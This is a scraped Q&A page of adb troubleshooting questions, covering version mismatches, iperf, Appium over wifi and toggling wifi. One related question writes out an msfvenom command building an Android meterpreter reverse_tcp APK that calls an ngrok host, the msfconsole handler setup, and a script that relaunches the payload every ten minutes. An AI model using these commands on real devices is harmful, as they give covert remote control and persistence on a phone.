adb server always restarts: adb server version (40) doesn't match this client (41) - adb

I can't debug the application to the emulator because adb is unstable as shown in the log below, I tried to do the adb device command three times but the results are different, how do I fix it?
$ adb devices
List of devices attached
emulator-5554 device
$ adb devices
adb server version (40) doesn't match this client (41); killing...
daemon started successfully
List of devices attached
emulator-5554 offline
$ adb devices
List of devices attached
emulator-5554 device

Related

Connect to ADB with ngrok and reverse tcp

I have an Android device at home that I use to develop on, and I'm connecting to it through my laptop with adb and scrcpy.
However, if I'm not home adb doesn't see the device. I made an apk for the device with msfvenom for reverse tcp like this:
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.tcp.ngrok.io LPORT=(ngrok port) R > /home/user/reversetcp.apk
then I set up the reverse tcp handler in msfconsole:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
msf6 exploit(multi/handler) > exploit
After this I install and run the apk on my device, then meterpreter opens the session;
[*] Meterpreter session 1 opened (127.0.0.1:25565 -> 127.0.0.1:40146) at 2023-01-07 21:39:43 +0100
and the ngrok console shows up 1 connection (my device). But if I try to add the ngrok server to adb like this:
adb connect "ngrok address"
(there I tried the ngrok tcp link, and 127.0.0.1 with both ports, none of them works) I get the following error: failed to connect to '127.0.0.1:25565': Connection refused I could make a vpn on my local network, but the power usually goes down, so the vpn is a dead end. what am I doing wrong? or adb can't connect with ngrok?
My second issue is, that meterpreter randomly closes the session after around 8 minutes, and if the device powers off and on or if the power goes out the device switches from wifi to mobile data, and I can't reconnect. How can I make the apk run on startup and reconnect if there is a change in the internet connection?
Update: I made an shell script to reopen the reverse tcp apk after 10 mins or if there is internet connection, but it would be better if the connection wouldn't close, and the device isn't rooted, so I can't add the script to the folder to run on startup. Another way to keep the reverse tcp connection would be better, to open an reverse tcp (and keep it open), and if there is change in the internet connection then reconnect automatically.
Btw, here is the script that i wrote:
#!/bin/sh
# check for internet connection
while ! ping -c 1 google.com &> /dev/null
do
# wait 20 seconds before trying again
sleep 20
done
# run the activity
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
# run the activity every 10 minutes
while true
do
sleep 600
am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
done
I am convinced that it is not possible to connect a device using reverse meterpreter shell because ADB requires a raw TCP connection rather than meterpreter shell.
You can use the ZeroTier application to create a private network for your devices that can be accessible via the internet. It functions similarly to VPN, but traffic is routed directly rather than through a centralized VPN server.
This post describes how to connect adb using TCPIP in detail.

syntax error when running iperf through adb

I am trying to execute iperf through adb shell, however I am getting following error:
syntax error: unexpected 'newline'
here are the steps:
push android compiled iperf binary to /data/local/tmp
enter adb shell, go to /data/local/tmp folder.
chmod +x ./iperf2.0.10
./iperf2.0.10
I tried executing command from outside like: adb shell "command"
I tried few other phones.
I tried few iperf versions.
host machine: tried both mac and windows. on windows version info:
Android Debug Bridge version 1.0.41
Version 31.0.3-7562133
phone info: adb shell getprop ro.product.cpu.abilist
arm64-v8a,armeabi-v7a,armeabi
I made sure to pick relevant iperf binary form: https://github.com/KnightWhoSayNi/android-iperf
This is a galaxy S7 SM-G930U, android version 8.0.0, kernel version 3.18.71-14970140
I looked at the iperf source code and could not find any place which would print this error message, so seems like some issue with how adb is treating my command.
Please suggest what can I do now ?
Edit: updated some details

Appium server not detecting the device connected through wifi

did adb tcpip 5555 and adb connect ipaddress . The adb devices show the device. But when i run the appium server, its showing no android device connected.
The appium python code is
desired_caps = {}
desired_caps['platformName'] = 'Android'
desired_caps['deviceName'] = 'Android'
desired_caps['automationName'] = 'uiautomator2'
desired_caps['udid'] = 'xx.xx.xx.xx:5555'
desired_caps['platformVersion'] = '6.0.1'
desired_caps['appPackage'] = 'PackageName'
desired_caps['appActivity'] = 'activityName'
driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)
The appium server error is
[AndroidDriver] Retrieving device list
[debug] [ADB] Trying to find a connected android device
[debug] [ADB] Getting connected devices...
[debug] [ADB] 0 device(s) connected
[debug] [ADB] Could not find devices, restarting adb server...
[debug] [ADB] Restarting adb
[debug] [ADB] Killing adb server on port 5037
[debug] [ADB] Getting connected devices...
[debug] [ADB] 0 device(s) connected
found the reason why appium kept on killing the adb server and restarted it. found the solution here.
If adb server restart without root privilege, then appium Server can't connect to real device anymore.
Using sudo worked for me.
I had the same problem. the solution was,
set up adb path in system variable(~/sdk/platform-tools). as the ADB path from where I was connecting the device over wifi(adb connect xx.xx.xx.xx:5555) was different from the adb under ~/sdk/platform-tools.
use capability <i>capabilities.setCapability("suppressKillServer", true);</i> in code

what is the key_code to enable or disable wifi via adb for non rooted device

I have a non rooted Samsung device , i want to enable/disable wi-fi settings for my usages via adb.To open wifi for non rooted device via adb i ran below command
adb -s 4d0075754fdb41cd shell am start -n com.android.settings/.wifi.WifiSettings
By default the wifi is coming as diabled , i want to enable/disable it
I tried with Keyevent , however this did not helped much
adb shell input keyevent 22
The wi-fi slider looks like below , i tried with all available key_code .
Can anyone point me a way to get the correct keycode here!!
You can try adb -s $PHONESERIAL shell "svc wifi enable" if you just want to turn on the wifi with adb.
Was already answered here : android adb turn on wifi via adb
You placed appium tag, so if you using appium, try running:
adb -s $device_id shell am broadcast -a io.appium.settings.wifi --es setstatus enable
adb -s $device_id shell am broadcast -a io.appium.settings.wifi --es setstatus disable

how to update adb drivers for android phones?

I am having difficulties in my android application because i want to run my project in my android device. I tried to install some drivers for my phone but still, it can't update the drivers and my phone is not recognized even in adb devices. Please help. Thanks.
Run android update adb
Run adb kill-server
Run adb start-server
At this point, calling adb devices started returning devices again.
Now run or debug your project to test it on your device.
If you use Windows
If you don't have the android and adb set as windows environment variables, just go to
C:\Program Files\Android\sdk\platform-tools
(in explorer press Shift+RightClick in the white part and open command window) and use the following commands: ..\tools\android.bat update adb adb kill-server adb start-server
For android phones,
Turn on Developer mode on settings
For Oculus devices,
Open Oculus App in your android/ios device
Make sure the oculus device is connected via bluetooth
Goto Settings, Click on oculus device name
From Dropdown menu, click More Settings -> Developer Mode and turn it on
I was able to find ADB required version 1.0.40 from here and it works like a charm:
D:\Setups\XXXXX\Lineage FP3\platform-tools_28.0.1(ADB_1.0.40)>adb devices
List of devices attached
A2XXXXXXXXX1 unauthorized

Resources